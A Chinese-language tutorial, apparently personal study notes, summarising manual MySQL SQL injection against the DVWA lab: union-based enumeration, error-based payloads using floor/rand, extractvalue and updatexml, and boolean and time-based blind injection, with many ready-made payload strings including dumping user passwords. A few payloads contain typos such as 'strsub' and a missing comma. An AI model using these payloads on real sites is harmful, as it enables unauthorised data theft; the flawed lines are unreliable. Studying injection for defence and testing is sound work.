SQL注入總結(二)
手工注入的大致思路:
判斷是否存在注入,注入是字元型還是數字型
猜解SQL查詢語句中的欄位數(order by 2)
確定顯示的欄位順序(union select 1,2)
獲取當前資料庫(union select 1,database())
獲取資料庫中的表(xx' union select 1,table_name from information_schema.tables where table_schema=’dvwa’-- )
獲取表中的欄位名(xx' union select 1,column_name from information_schema.columns where table_schema=
下載資料(xx’union select user,password from users -- )
為什麼要知道SQL查詢語句中的欄位數呢?
因為要想查詢別的表中的資料就要用到聯合查詢,聯合查詢需要注意一個問題,那就是前後select中欄位數目必須一樣,而且前面的每個欄位型別必須和後面每個欄位的型別相相容
Mysql資料庫(>=5.7)內建庫:
Mysql:儲存有賬戶資訊,許可權資訊,儲存過程,event,時區等資訊
Sys:包含了一系列的儲存過程,自定義函式以及試圖來幫助我們快速的瞭解系統的元資料資訊
Performance_schema:用於手機伺服器效能引數
Information_schema:其中儲存著關於MySQL伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問許可權等
查詢資料核心語法:
查庫:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema = 庫名
查列:select column_name from information_schema.columns where table_name = 表名
查資料:select 列名 from 庫名.表名
報錯注入:
構造payload讓資訊通過錯誤提示回顯出來
應用場景:
- 查詢不回顯內容,會列印錯誤資訊
- update,insert等語句會列印錯誤資訊
方法:(凡是可以讓錯誤資訊顯示資料庫中內容的函式,都能實現報錯注入)
列舉三種:
floor():select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2));
利用的是group對rand函式進行操作時產生錯誤
Concat:連線字串功能
Floor:取float的整數值
Rand:取0-1之間的隨機浮點值
Group by:根據一個或者多個列隊結果集進行有序分組並有排序功能
Extractvalue():select extractvalue(1,concat(0x7e,(select user()),0x7e))
Extractvalue():接收兩個引數,第一個引數是XML文件,第二個是xpath語句,XML文件進行查詢和修改的函式
利用的是XPATH語法錯誤產生報錯
Updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e)1)
如果報錯顯示的長度有限,顯示的內容超過規定長度無法顯,我們就需要用substr()擷取部分內容顯示
盲注分為:基於布林的盲注,基於時間的盲注以及基於報錯的盲注
手工盲注的步驟:
判斷是否存在注入,注入是字元型還是數字型
猜解當前的資料庫名
猜解資料庫中的表名
猜解表中的欄位名
猜解資料
猜解資料庫:
1’and 真 # 結果為真
1’and 假 # 結果為假
猜解資料庫長度:length(str),通過1’and length(database())>1-- 顯示結果不斷改變數字來判斷資料庫名長度
猜解資料庫名:
函式:left(a,b),從左側開始擷取a字串的前b位
Substr(str,start,length)
Ascii(a)將某個字元轉化為ascii值
Mid()函式與substr函式功能一樣
Ord()函式與ascii函式功能一樣
Regexp {(select user()) regexp ‘^r }正則表示式用法,user()結果為root,regexp為匹配root的正則表示式
Like {(select user()) like ‘ro%’} 與regexp類似,使用like進行匹配
常用的POC
And left(select(database()),1)=‘a’--+
And (select database()) regexp ‘^r’
And (select database()) like ‘r%’
And ord(mid((select database()),1,1))>97
And ascii(strsub((select database()),1,1)) > 97
通過1’and ascii(substr((select database()),1,1)) >97 -- 猜解資料庫名
通過1’and (select count (table_name) from information_schema.tables where table_schema=database()) =1 -- 猜解資料庫中表的數量
通過 1’and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 1 -- 猜解第一個表名長度
通過 1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 97 -- 猜解第一個表名(設其中一個表的名稱為‘users’)
通過1’and (select count(column_name) from information_schema.columns where table_name=’users’) = 8 -- 猜解出users表中有8個欄位
通過1’and length(substr(select column_name from information_schema.columns where table_name = ‘users’limit 0,1),1)=7 --
或者 1’and length(select column_name from information_schema.columns where table_name = ‘users’limit 0,1)=7 --
猜解出第一個欄位的長度
下面一樣通過 1’and ascii(substr((select user from users) limit 0,1),1,1)) > 97 -- 猜解欄位名
前面的布林盲注,根據頁面返回的真假進行判斷猜解,而時間盲注根據頁面反應是否延時來猜解判斷
常見函式:
if()函式
If(expr1,expr2,expr3):如果expr1為真,返回expr2,否則返回expr3
舉例子:1”and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=97,sleep(2),1)--+